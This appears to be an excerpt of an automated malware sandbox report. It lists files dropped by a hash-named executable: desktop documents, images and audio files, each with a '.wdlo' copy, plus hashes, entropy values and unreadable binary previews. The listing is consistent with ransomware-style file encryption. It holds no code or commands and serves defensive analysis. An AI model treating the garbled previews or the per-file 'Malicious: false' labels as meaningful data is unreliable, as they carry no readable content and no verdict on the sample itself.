SHA-512:	69CE967A0AEF67ACF8267E363B8C7FABAD1C7C1FCCD75729B16282C52941950EBD470E8816BEB2D7B6444F368D66C8B65AE448DF123ECDA5413FC34CE6FF4991
Malicious:	false
Preview:	EWZCV.....V...V.i...d..kSf.T.........W^....#FU@..,...5."..)f...Wu.J..^d...e.........i2.w..7.....\5.W....0..N..".t....J....e...CHF&.........A.Y{M.._N%.:...U...=....&....:U.X.C..3...0CW..h.DP.L.y...........A....M.....r...........0.Y.=pL..c..M.y..T..K...qX...\,].]...^...+J +.0.hYnV8'...>..C..j.V.y'].......N...<bv..bj..6.37.......F(Y.7..Q@(.#Gid.$.fc.u.x#l..6...u....{6.M.Yo..\|\.....v...DM.xlW.RxY..K....'E."v ._'.^...v......Q..e.. /?6..J0Xi.#...N^....;..........I..a..Izv...?l+..%..}q..?.......=...%;.Y..'._E)....:d...s<.j.r$.+d..:.S..U .]2q.02.`m..o.k......<....-X.U..2....Y.U.S#I.1~9..RD..HF\.-d.b.6.0..."......@......{.._.F..2,."..<....)...N....".[QV....-.....%..L.p.5..].>..#n.1..d.h..3DA}.g..=...c.Yj.D....]..oz`..M.2.b..S...Nl...B.....,2.b.{..E..H.%..y/...b...A..,=}.-.q.`u.....nN.NdBHa.C.;.x..g.j)'4...1.0...^.?..AM:..{J..DI.;...!.\|..$.{.qwi1.}.-..s]G..rC^..9V....TW.&v.`...2D'. .Y.}.A..j.J%.x.....P..c......&*.E.y..B.t.O.B..:,..EJOjA.......G.

C:\Users\user\Desktop\EFOYFBOLXA\KLIZUSIQEN.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8673820960136425
Encrypted:	false
SSDEEP:	24:bKkPfjBHev3ZTvAyD7xR6QR3jZ6l6uwXEuMw28HkeCs3zbD:ekPpevpk2xR6SjEl6uwjpZ3nD
MD5:	098DE0DCBE2BDB21996320D2B08CEBF0
SHA1:	0FA1F09DA4048BF6DE5C9E60A43BC183DE561AF0
SHA-256:	FBC3E080F74EAC209E2356E0CAD51DA41CEBE3E0B8A5B1CA01DF406081E0638A
SHA-512:	DC722367960714AC0E86BAF58E67660683592CB889065B9F9CF03EC474BBBEC3814FFDEE2A52D9991E4C261F4F654E5D034A6F027B9280B824DD656C64036996
Malicious:	false
Preview:	KLIZUbf.D..V.H+e..Q.g.g.,.\....UAt.....e..O......f..E.?b...EM.b..:S.A:.k...$.0....X.N0.....Trj../iB\...iz..Sq..:l......Rm.+..j....Y......;Cd8....G....p..o#... K.N...EyU....{.0.......A..1eO,.K...W....rH4..J....c.....pt%h.$.^.........(e..x::.3...0Z...@L.D....s5wQ..G..8..}.....U.3...G.......i..\|.Z.(..l.)......._N..t............Ae.S......s.......b..4.[e.%.'.Y..s.O.......ERr..Z...3.l.....q.......5Q..1[.....\.9...{>:/.T^z.Y.}....g<@O."C,m.Uv.8.$..w..c.8..s&=....#.....T.>t.q.)..........{.5.M.mZ......}.!.%.+........0.{..E..........4.c4....a.....[.K.0..Id6y...`....X..^..Q.%..v..D..Y\.{.l...'..^_T..`..`.F.#z.u.)\|l.`.o.m...vu..=....e.$.r..W.....3.........:.u...;....A..'ucuC5.....:.jEu...H.\|...\|.i-...~hP.!."......>}s.....`..'..}.0......l`t...j)@..E6.\...i.C.(.9..\|k....%O3....BV.V..iCp..#.....V......2q..t.............^...;..WY7.F....2...o..VIY.$.aE..QV.G..V_6."........j%. .giyt.h..l.v.F.8.o.........e....6..Q~i.Dh.@..K:./.96..u.`ZR)mk....]. h.

C:\Users\user\Desktop\EFOYFBOLXA\KLIZUSIQEN.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8673820960136425
Encrypted:	false
SSDEEP:	24:bKkPfjBHev3ZTvAyD7xR6QR3jZ6l6uwXEuMw28HkeCs3zbD:ekPpevpk2xR6SjEl6uwjpZ3nD
MD5:	098DE0DCBE2BDB21996320D2B08CEBF0
SHA1:	0FA1F09DA4048BF6DE5C9E60A43BC183DE561AF0
SHA-256:	FBC3E080F74EAC209E2356E0CAD51DA41CEBE3E0B8A5B1CA01DF406081E0638A
SHA-512:	DC722367960714AC0E86BAF58E67660683592CB889065B9F9CF03EC474BBBEC3814FFDEE2A52D9991E4C261F4F654E5D034A6F027B9280B824DD656C64036996
Malicious:	false
Preview:	KLIZUbf.D..V.H+e..Q.g.g.,.\....UAt.....e..O......f..E.?b...EM.b..:S.A:.k...$.0....X.N0.....Trj../iB\...iz..Sq..:l......Rm.+..j....Y......;Cd8....G....p..o#... K.N...EyU....{.0.......A..1eO,.K...W....rH4..J....c.....pt%h.$.^.........(e..x::.3...0Z...@L.D....s5wQ..G..8..}.....U.3...G.......i..\|.Z.(..l.)......._N..t............Ae.S......s.......b..4.[e.%.'.Y..s.O.......ERr..Z...3.l.....q.......5Q..1[.....\.9...{>:/.T^z.Y.}....g<@O."C,m.Uv.8.$..w..c.8..s&=....#.....T.>t.q.)..........{.5.M.mZ......}.!.%.+........0.{..E..........4.c4....a.....[.K.0..Id6y...`....X..^..Q.%..v..D..Y\.{.l...'..^_T..`..`.F.#z.u.)\|l.`.o.m...vu..=....e.$.r..W.....3.........:.u...;....A..'ucuC5.....:.jEu...H.\|...\|.i-...~hP.!."......>}s.....`..'..}.0......l`t...j)@..E6.\...i.C.(.9..\|k....%O3....BV.V..iCp..#.....V......2q..t.............^...;..WY7.F....2...o..VIY.$.aE..QV.G..V_6."........j%. .giyt.h..l.v.F.8.o.........e....6..Q~i.Dh.@..K:./.96..u.`ZR)mk....]. h.

C:\Users\user\Desktop\EFOYFBOLXA\ZGGKNSUKOP.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846758022940088
Encrypted:	false
SSDEEP:	24:/GoKqcbHPXbKiZlMxF37IOVgoQYtiXGH9YawVKHNYhKk3D3zbD:aqcrWi0xZIOVGNG9wiYsA3nD
MD5:	52FA20EC9E57A52CAF0A29A32601C5F0
SHA1:	7414C38FF1F911F89A65D5DA66C2DA31A65652C0
SHA-256:	E785CA7B1A4C5156268F3BEB6B25C63B3DAE97836B712F09A284BF84AD191F79
SHA-512:	E5A69BAF4F6B37F901BDC49AAB029A813C1824D25B00E2E3B4000932C79EC86A1F99B83E98F544AE8E85CE6FCC1996F8AAE9EE3435809C983EFE1640397E0A44
Malicious:	false
Preview:	ZGGKN#WX...Y.r.xp..q.6...._...R..[.....5.%"rK......4..........n......H...8..Nvm....C~.a....GI<....'dl.H...x...........m@H.f.HX...b;g.8)EP.{....l>B=..M<6&.1.....p..QR......O5Z.f6Vd.L\|...-......P.9.N...]..e.7q,9.....0.==..........qV....7r....uJ..._...C..7.l.k>.9.4'..H....,..k.x/.@fP..j.......6.!#7A.`T....7....(.}.\|}...Vn^9.s.a)..;W.3..0.A...4..0.^_....{.L.._'_.hS....\|P`.d.....g 5...&.Y..r....o.H...zk......kYD.u.:YXhN..5....@......v.;.F.....X....nC7..........3...<p.B.+.....qjFPY.M......y{.8.O..n."....,.ef......<}...].eR.L.O.gd...ZIj&......X~%..?..WK.D.......6.....}..J.PKwXW/..N..]".p...c......).&.tb..y4.w.V..2...."....\|..J+.b.<..S.........q.T.m..4.r.5.........,9..0#^.!()eCh...9.!\|s.;ZP\.&.)..#. ....W.^....5.7:.3iC4...}..........?..c......y..v,.!. .....0N....DeA..^..".}....}J.6....c.......]...@..4..%+YW.}..C..B.2..4.w\....1pD.*)T..hI<V.../..}..,C.X.u...Zb.ls26...N/w.Bk...E9z...$.......h"..4...r.......1x._(....,.G=...B....@

C:\Users\user\Desktop\EFOYFBOLXA\ZGGKNSUKOP.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846758022940088
Encrypted:	false
SSDEEP:	24:/GoKqcbHPXbKiZlMxF37IOVgoQYtiXGH9YawVKHNYhKk3D3zbD:aqcrWi0xZIOVGNG9wiYsA3nD
MD5:	52FA20EC9E57A52CAF0A29A32601C5F0
SHA1:	7414C38FF1F911F89A65D5DA66C2DA31A65652C0
SHA-256:	E785CA7B1A4C5156268F3BEB6B25C63B3DAE97836B712F09A284BF84AD191F79
SHA-512:	E5A69BAF4F6B37F901BDC49AAB029A813C1824D25B00E2E3B4000932C79EC86A1F99B83E98F544AE8E85CE6FCC1996F8AAE9EE3435809C983EFE1640397E0A44
Malicious:	false
Preview:	ZGGKN#WX...Y.r.xp..q.6...._...R..[.....5.%"rK......4..........n......H...8..Nvm....C~.a....GI<....'dl.H...x...........m@H.f.HX...b;g.8)EP.{....l>B=..M<6&.1.....p..QR......O5Z.f6Vd.L\|...-......P.9.N...]..e.7q,9.....0.==..........qV....7r....uJ..._...C..7.l.k>.9.4'..H....,..k.x/.@fP..j.......6.!#7A.`T....7....(.}.\|}...Vn^9.s.a)..;W.3..0.A...4..0.^_....{.L.._'_.hS....\|P`.d.....g 5...&.Y..r....o.H...zk......kYD.u.:YXhN..5....@......v.;.F.....X....nC7..........3...<p.B.+.....qjFPY.M......y{.8.O..n."....,.ef......<}...].eR.L.O.gd...ZIj&......X~%..?..WK.D.......6.....}..J.PKwXW/..N..]".p...c......).&.tb..y4.w.V..2...."....\|..J+.b.<..S.........q.T.m..4.r.5.........,9..0#^.!()eCh...9.!\|s.;ZP\.&.)..#. ....W.^....5.7:.3iC4...}..........?..c......y..v,.!. .....0N....DeA..^..".}....}J.6....c.......]...@..4..%+YW.}..C..B.2..4.w\....1pD.*)T..hI<V.../..}..,C.X.u...Zb.ls26...N/w.Bk...E9z...$.......h"..4...r.......1x._(....,.G=...B....@

C:\Users\user\Desktop\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863727119597163
Encrypted:	false
SSDEEP:	24:RKLxW8Fe9snSeogXdYZ0Dd21snbQJk/ffkqMjGMFQNlCE2E7493zbD:UNEsnigXS0Dd20QIf+jh4+N93nD
MD5:	618CC29BB591CBE617EB9ACB95D20045
SHA1:	329A6A14C7AAE0C5E4AE01260FB8520976DFFDAA
SHA-256:	BC341E4B0811CF2C59176C7FCB48F33760582CF89F991C87380C11FE74DB64A9
SHA-512:	C5B59DE287EDA8270F9E351C76F97A17DA74B86A2E78621A5BB767DCF102871157F02689558CF381690629AE32CC6526A9E1239FF9011F02BA92709C8AC5AA11
Malicious:	false
Preview:	EIVQS.gq6...T....G..O,.~r..").F.nc.R;r.@.T....e........%.....K9......._d.n.\|.)V#(.{q+....l)....#I.K...8g#.....IZ...`.......?....M..X...v.XcE.p..D...>P.YRtE..m~..2.R"..}E...6..X.......l.....TG#..3...Q...U..:S#h..H........v...."0E.GHZq[..?y.'40..J...Y$.9.AZ.CJ.).<.4SBz...p.w......(M._.U.$S....f..51.;.T9....I....+..=.I..Dl>s....^!~...H...S...n..;..6...X)Wb....z.<...v.....z......\g.m.1.M......DB...6H.......d}]b$.J.$...Z....&kk.mho.=L...%.E;Np.....`..D^h.D.,...Q.......!.OW.\|.F?...)M0&A...`.@t.P....-.h..o_..R......:U..n\..2p...X.A...2Q.?}..%.4!0..fo[.{^gw..... .B.......e.s,J}DO.....[......Iq...h....!".?........C......Y/./.2A..K..p...f..C...P....$..'.m...........vE.jk.Y%..\;.rn......9H..3..S.............ps.R.........=....X......W@. ....!...l.@.j..1.~...O...5...7'%#......E.@.~.J.1_..`.[w6.c?..N#:..j.7y..v.\*!.5....V..K.!.....wnCE\..=.1(..V".To\f.....D..e....%/...y..t.^...#.....E ..7..''.~bu..YGA.i.)X8<.y...6<.pg.Pl._.+\|g.3....mn:=..<..,.x

C:\Users\user\Desktop\EIVQSAOTAQ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863727119597163
Encrypted:	false
SSDEEP:	24:RKLxW8Fe9snSeogXdYZ0Dd21snbQJk/ffkqMjGMFQNlCE2E7493zbD:UNEsnigXS0Dd20QIf+jh4+N93nD
MD5:	618CC29BB591CBE617EB9ACB95D20045
SHA1:	329A6A14C7AAE0C5E4AE01260FB8520976DFFDAA
SHA-256:	BC341E4B0811CF2C59176C7FCB48F33760582CF89F991C87380C11FE74DB64A9
SHA-512:	C5B59DE287EDA8270F9E351C76F97A17DA74B86A2E78621A5BB767DCF102871157F02689558CF381690629AE32CC6526A9E1239FF9011F02BA92709C8AC5AA11
Malicious:	false
Preview:	EIVQS.gq6...T....G..O,.~r..").F.nc.R;r.@.T....e........%.....K9......._d.n.\|.)V#(.{q+....l)....#I.K...8g#.....IZ...`.......?....M..X...v.XcE.p..D...>P.YRtE..m~..2.R"..}E...6..X.......l.....TG#..3...Q...U..:S#h..H........v...."0E.GHZq[..?y.'40..J...Y$.9.AZ.CJ.).<.4SBz...p.w......(M._.U.$S....f..51.;.T9....I....+..=.I..Dl>s....^!~...H...S...n..;..6...X)Wb....z.<...v.....z......\g.m.1.M......DB...6H.......d}]b$.J.$...Z....&kk.mho.=L...%.E;Np.....`..D^h.D.,...Q.......!.OW.\|.F?...)M0&A...`.@t.P....-.h..o_..R......:U..n\..2p...X.A...2Q.?}..%.4!0..fo[.{^gw..... .B.......e.s,J}DO.....[......Iq...h....!".?........C......Y/./.2A..K..p...f..C...P....$..'.m...........vE.jk.Y%..\;.rn......9H..3..S.............ps.R.........=....X......W@. ....!...l.@.j..1.~...O...5...7'%#......E.@.~.J.1_..`.[w6.c?..N#:..j.7y..v.\*!.5....V..K.!.....wnCE\..=.1(..V".To\f.....D..e....%/...y..t.^...#.....E ..7..''.~bu..YGA.i.)X8<.y...6<.pg.Pl._.+\|g.3....mn:=..<..,.x

C:\Users\user\Desktop\EWZCVGNOWT.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8687651422511555
Encrypted:	false
SSDEEP:	24:PWn9RAO8/ucC22QBnz1ACdnE9pauUbbc01pewfJuzV9lxe53OdQukYSzBT3zbD:69RJEgQzi6E9IXbP1zwzVjUmBkYSNT3D
MD5:	19FED7285C5B1E90FAC1F087DB1539B0
SHA1:	053AC99A918DECBAB06419ACD336164E929C1F73
SHA-256:	1EBFC099FDBB1258602BE3EEF2FFD11E7C2171D5D97B169390DD292276465F15
SHA-512:	C83044F05B97418DE5911CC5B3B4DCDBE898913025DE16CCF4C74F8F8B5B4A5DFC0353895B4098EFEFAD79EDF29BD262A332A0253E0178AB420C3BF8B82DAB0A
Malicious:	false
Preview:	EWZCV..m.n..!"Pbau..H..s...........se.:..i... .~?..-..[..T.r...3.....p...]R...G>....\|)A.8..=.......?s.......\..H.bD.\n..j..\.y.r....w..j..l..d..T.v.?~/..b.j,G....y?..e;.^.....{...Q....A...M....9../.GU..bC.c.aa.M.Y.f....P.0.]M...<^.FL.O..@..@.zq....jP.\|.5)..Z.....P..1Qr...A1..dY.4.^.....y...u]D.6."P.b.\...<.>../...bVb..{......r.A..:@.0...p/Kk8..+jG(......f ....i.AE./(..m....D.e..CE.T..+=@.N.'.....`.&.f..+?...k.2..n.2.m...p...'.P..S......d.D...\./c.g..5.Ee._.P....<!K...T.F.M..dt...\M8.E:.g.2..d...(..~.<...4o......V..Tn.......'.p..W[...`Q..s..W..+..7g...#Vb.. .....9+60.).W.....d..(D...m.Pk.K..B..U.....[...^q..q.G......=-..OL...c$K".....E.IA.e.....P..m]...R....s....f.3...Z...9..b....-..O-.k<..j.Iu#...<..K4$5-.Z.......O..O9....:5..h...;...T....."Jv0......X..}o._.....sh6H..P.5...s8.nXh..!.,`U..H..............EZ5....Mcs.#.4G4......g.a6[..........k.]..o.O.$._.IS.q.Y.Q.,.i...vg..x.Y.....@......\;..v..!.v.X.T..m..'C.U.^J.k..i..p.g.E.^..q..:..)..$$...N

C:\Users\user\Desktop\EWZCVGNOWT.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8687651422511555
Encrypted:	false
SSDEEP:	24:PWn9RAO8/ucC22QBnz1ACdnE9pauUbbc01pewfJuzV9lxe53OdQukYSzBT3zbD:69RJEgQzi6E9IXbP1zwzVjUmBkYSNT3D
MD5:	19FED7285C5B1E90FAC1F087DB1539B0
SHA1:	053AC99A918DECBAB06419ACD336164E929C1F73
SHA-256:	1EBFC099FDBB1258602BE3EEF2FFD11E7C2171D5D97B169390DD292276465F15
SHA-512:	C83044F05B97418DE5911CC5B3B4DCDBE898913025DE16CCF4C74F8F8B5B4A5DFC0353895B4098EFEFAD79EDF29BD262A332A0253E0178AB420C3BF8B82DAB0A
Malicious:	false
Preview:	EWZCV..m.n..!"Pbau..H..s...........se.:..i... .~?..-..[..T.r...3.....p...]R...G>....\|)A.8..=.......?s.......\..H.bD.\n..j..\.y.r....w..j..l..d..T.v.?~/..b.j,G....y?..e;.^.....{...Q....A...M....9../.GU..bC.c.aa.M.Y.f....P.0.]M...<^.FL.O..@..@.zq....jP.\|.5)..Z.....P..1Qr...A1..dY.4.^.....y...u]D.6."P.b.\...<.>../...bVb..{......r.A..:@.0...p/Kk8..+jG(......f ....i.AE./(..m....D.e..CE.T..+=@.N.'.....`.&.f..+?...k.2..n.2.m...p...'.P..S......d.D...\./c.g..5.Ee._.P....<!K...T.F.M..dt...\M8.E:.g.2..d...(..~.<...4o......V..Tn.......'.p..W[...`Q..s..W..+..7g...#Vb.. .....9+60.).W.....d..(D...m.Pk.K..B..U.....[...^q..q.G......=-..OL...c$K".....E.IA.e.....P..m]...R....s....f.3...Z...9..b....-..O-.k<..j.Iu#...<..K4$5-.Z.......O..O9....:5..h...;...T....."Jv0......X..}o._.....sh6H..P.5...s8.nXh..!.,`U..H..............EZ5....Mcs.#.4G4......g.a6[..........k.]..o.O.$._.IS.q.Y.Q.,.i...vg..x.Y.....@......\;..v..!.v.X.T..m..'C.U.^J.k..i..p.g.E.^..q..:..)..$$...N

C:\Users\user\Desktop\GLTYDMDUST.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866831554086753
Encrypted:	false
SSDEEP:	24:fN2flQzd4dmTfq/jweT1XjuPbUM8cbNcDzlU/ZDxd3zbD:fN4lI4QfPepzuPb5xf/ZDxd3nD
MD5:	48571E1CFBDC81165F9C3F52531660F7
SHA1:	D1AF7E1B0E42E21FBE15C41E63232E44DD383746
SHA-256:	430D3403605BFF1CC28258364C008B2F1F181129DAB05CD99321A9470FF5F58D
SHA-512:	D8B630F971D68A8D36FE317470014EBB39A4DA586EBB9C76FA4A3BAE85F488519D7B9E371463FFBECF4AA62FD984EB1BD9D528C0BB4DBA1647D04F4484AF11B0
Malicious:	false
Preview:	GLTYD.....r.......Q....$A=0....].'.D.Fn.p....$.0...A..........!..Z..)......~Y,..n..B...<.ekca.&I.......f.zy. ...Z.L......zA...\.[....u...t.Av...0.L.H.0u..,.LR.^.....?.....X.....mF....L.D..ytx......[.f.\|.8...x ~.P.s..#.&...7WuN\|v.fM..d....)......F..a.....6.%..6..1..\....I4.&....V..._h9..Q..]...-axi...w..XA.6..Z.Z.]r....xo..M.w.....ey.....g^f.6.NW.......9.U..'.YE.@.h.......?.".Hn.FK.46..S.....Z......f.V.B..c.esE.....5.%.,..uF....W...m......5.&.d'<&...Vb..e..;...p.......N....}~....k}p"j....R"...,..z....#...z.K..8.....\|.\|....@.29"..........O..O.K.g.-.........S...........T../.x.lMB......xA....M.....omX..Qs...SX.R.5...g\@.N;.h..G..Rs-.KGL../..0.C."-<....9.......R_..BU.e...co.gS1. x./...$.........-L..TN...%U.6...Q../.OV$XtQ...4$..#../9m!....lh.`.G.Kn.....5Z.$..x.\..1..I...k35.lSsr4C..[.....p.....x9W..=.:.^....k...........O8.Fb...=.].........\Q..8.....\.Z...\|q{..].....jO.B.....?...%v(.E=.<PBr.@.2..p.......M\|..n{..bLv.....y..y..G"x......0..\?

C:\Users\user\Desktop\GLTYDMDUST.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866831554086753
Encrypted:	false
SSDEEP:	24:fN2flQzd4dmTfq/jweT1XjuPbUM8cbNcDzlU/ZDxd3zbD:fN4lI4QfPepzuPb5xf/ZDxd3nD
MD5:	48571E1CFBDC81165F9C3F52531660F7
SHA1:	D1AF7E1B0E42E21FBE15C41E63232E44DD383746
SHA-256:	430D3403605BFF1CC28258364C008B2F1F181129DAB05CD99321A9470FF5F58D
SHA-512:	D8B630F971D68A8D36FE317470014EBB39A4DA586EBB9C76FA4A3BAE85F488519D7B9E371463FFBECF4AA62FD984EB1BD9D528C0BB4DBA1647D04F4484AF11B0
Malicious:	false
Preview:	GLTYD.....r.......Q....$A=0....].'.D.Fn.p....$.0...A..........!..Z..)......~Y,..n..B...<.ekca.&I.......f.zy. ...Z.L......zA...\.[....u...t.Av...0.L.H.0u..,.LR.^.....?.....X.....mF....L.D..ytx......[.f.\|.8...x ~.P.s..#.&...7WuN\|v.fM..d....)......F..a.....6.%..6..1..\....I4.&....V..._h9..Q..]...-axi...w..XA.6..Z.Z.]r....xo..M.w.....ey.....g^f.6.NW.......9.U..'.YE.@.h.......?.".Hn.FK.46..S.....Z......f.V.B..c.esE.....5.%.,..uF....W...m......5.&.d'<&...Vb..e..;...p.......N....}~....k}p"j....R"...,..z....#...z.K..8.....\|.\|....@.29"..........O..O.K.g.-.........S...........T../.x.lMB......xA....M.....omX..Qs...SX.R.5...g\@.N;.h..G..Rs-.KGL../..0.C."-<....9.......R_..BU.e...co.gS1. x./...$.........-L..TN...%U.6...Q../.OV$XtQ...4$..#../9m!....lh.`.G.Kn.....5Z.$..x.\..1..I...k35.lSsr4C..[.....p.....x9W..=.:.^....k...........O8.Fb...=.].........\Q..8.....\.Z...\|q{..].....jO.B.....?...%v(.E=.<PBr.@.2..p.......M\|..n{..bLv.....y..y..G"x......0..\?

C:\Users\user\Desktop\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84929026854607
Encrypted:	false
SSDEEP:	24:umO7Kzf5X3UQTcwyrBkGd9rz7cygUY+tRjfdJaIBp1X5s9ZP/Yu3zbD:lfzf5X3Uuy6Gd9rzA2RjCIBpuP3nD
MD5:	ACBE48E03443B7400C89F2EFD5CB30CA
SHA1:	8505FCAC8736FC164B0930F451AB09A5EB116D38
SHA-256:	3C23CD188ECFF3DFF7BCC3796B4EDE0D3F4FB555456F39BD81E4BA04B34C1924
SHA-512:	69180E5CCFEC2F22189063E3225FA6CDBDC9300CC621A6EDE9416BC06042C28FDBA7559D2699C684132F9697F5EC55D7F5C6A29DD397CAB1649FF27518D0A9A4
Malicious:	false
Preview:	GRXZD.g.2.]d./.c....]..xU....U.>.`..&?u.....W%..q..e.......jI+r.V..i$=........o.7a.}.1.;..O.S...Q.....X.>Z..Co\....0.v..I...?.ee..4..Sr.<(.X."@0.Z.%X.u.`......y.m.T.'.d...hE'...2<5...N.$yGuY:.V....&...j.ON5&...a.4.8dT..%.;.....h...a..M.bs.....%c:...t..>......`T.,..X...sa..Z.%..ca.V).J.4.....S.8.6....:eL..s"^..\rq.h1...<~.......m....X....Hv~Q.O.2T..]?......_.o?M.#r......\...=&..ef-.z:R=.@n..e7.j.......?.B..b...p..W...h.u....O!.j.2.~...)S#.s..:Rs@H.4[.......Bym.b....=....#ZuI.w...}......e..MbU.v.,..dRDm......9%,'..m87..g.NT.....8'..s..h.z..A..N...>~.....e.J..=.Pv.cB/..)v.+.....x..(..}....B...>.tE.........15.dTn)..E......1.S....\|.y..v.=.sq.u..H.c4......W.V..uU.g\.C..RT.,..W.R.......>..VT^.q.....%...A.m~.@....u....:...G...^;.....b?c..'...\.)....E..K.....h..i.tE....y.i..T..p.(..Y.~c....L.&.......$.$.^..0.......).8.,./...0h\.O..4..OS".q.k.V..u..tin.D..;b.1b.O.b.h.o.]x4...q.....2...!..r.Z..{.\|.N.QB........g.4...?..:...1.*.nD.....L3 i<.!m...$.c+.

C:\Users\user\Desktop\GRXZDKKVDB.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84929026854607
Encrypted:	false
SSDEEP:	24:umO7Kzf5X3UQTcwyrBkGd9rz7cygUY+tRjfdJaIBp1X5s9ZP/Yu3zbD:lfzf5X3Uuy6Gd9rzA2RjCIBpuP3nD
MD5:	ACBE48E03443B7400C89F2EFD5CB30CA
SHA1:	8505FCAC8736FC164B0930F451AB09A5EB116D38
SHA-256:	3C23CD188ECFF3DFF7BCC3796B4EDE0D3F4FB555456F39BD81E4BA04B34C1924
SHA-512:	69180E5CCFEC2F22189063E3225FA6CDBDC9300CC621A6EDE9416BC06042C28FDBA7559D2699C684132F9697F5EC55D7F5C6A29DD397CAB1649FF27518D0A9A4
Malicious:	false
Preview:	GRXZD.g.2.]d./.c....]..xU....U.>.`..&?u.....W%..q..e.......jI+r.V..i$=........o.7a.}.1.;..O.S...Q.....X.>Z..Co\....0.v..I...?.ee..4..Sr.<(.X."@0.Z.%X.u.`......y.m.T.'.d...hE'...2<5...N.$yGuY:.V....&...j.ON5&...a.4.8dT..%.;.....h...a..M.bs.....%c:...t..>......`T.,..X...sa..Z.%..ca.V).J.4.....S.8.6....:eL..s"^..\rq.h1...<~.......m....X....Hv~Q.O.2T..]?......_.o?M.#r......\...=&..ef-.z:R=.@n..e7.j.......?.B..b...p..W...h.u....O!.j.2.~...)S#.s..:Rs@H.4[.......Bym.b....=....#ZuI.w...}......e..MbU.v.,..dRDm......9%,'..m87..g.NT.....8'..s..h.z..A..N...>~.....e.J..=.Pv.cB/..)v.+.....x..(..}....B...>.tE.........15.dTn)..E......1.S....\|.y..v.=.sq.u..H.c4......W.V..uU.g\.C..RT.,..W.R.......>..VT^.q.....%...A.m~.@....u....:...G...^;.....b?c..'...\.)....E..K.....h..i.tE....y.i..T..p.(..Y.~c....L.&.......$.$.^..0.......).8.,./...0h\.O..4..OS".q.k.V..u..tin.D..;b.1b.O.b.h.o.]x4...q.....2...!..r.Z..{.\|.N.QB........g.4...?..:...1.*.nD.....L3 i<.!m...$.c+.

C:\Users\user\Desktop\GRXZDKKVDB.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828397332019388
Encrypted:	false
SSDEEP:	24:sH/6Jwswnl88mVOhA6rDmS2xYFir1JI7yUpiPcOv51zv2j/3ywbLkVVGyBmCT3zX:sH/qFwC8mT6eSXir1JI7ScOv5t+3yzVb
MD5:	DD506C9E12A92B31335A137CB1116970
SHA1:	C5E609E268F8166366B9425D2D3C28F46B51F09A
SHA-256:	F1B21A58BE8860A68BC001F6FB8A18171A0CB3DB73A951EA04A8CBD83878324C
SHA-512:	ECBBE9D33DE250657798AEDC92EA81ADE496A60C928696AB72178D1A60856371AA495AAA0DD712812414B8970BD2CD6396D1B658517B2F361232A365326B1DFE
Malicious:	false
Preview:	GRXZD!.P5...0.%.]...J{...)...2...E..L.?1.O...,H.eno>..e..5m-.n..........#"..)6wjL.h..~/..9....}..r.9...l.9.....bN....PS...:......W.r..EK...S!.Bj....4^..#.&{.yB......;.r.gVb!Dj.N.....,...5.P..d.A@.<QW...,...cx.?Rd.....mc+..N.,!.k..[.1....u..q..{c.e.:./Q.L.ds..P.vz.8..&P.>...P.]D.s......Sn........h._...Bn...->.@..]....vz..r.h.Z\|....cQ.NF...8z.Z..k.]....]...a.E..,...-b.6..&.....R.mY..Q...>......\Cn;f.I......:...'..W...*......Q.YihIsa.......eY...!.]..Org...J`p.P....(...../......]oJ...=/t.vbe2r/.7..:r.`....-OJ...k...CiD...x.Yi`a.F.w6.1...).Y=Wi......eeA...Bc.y.D....H.l.8...Z.9....r.D....p.+}.'&R.S.......=...7...........u..CL(Y..U........Y`.....>f 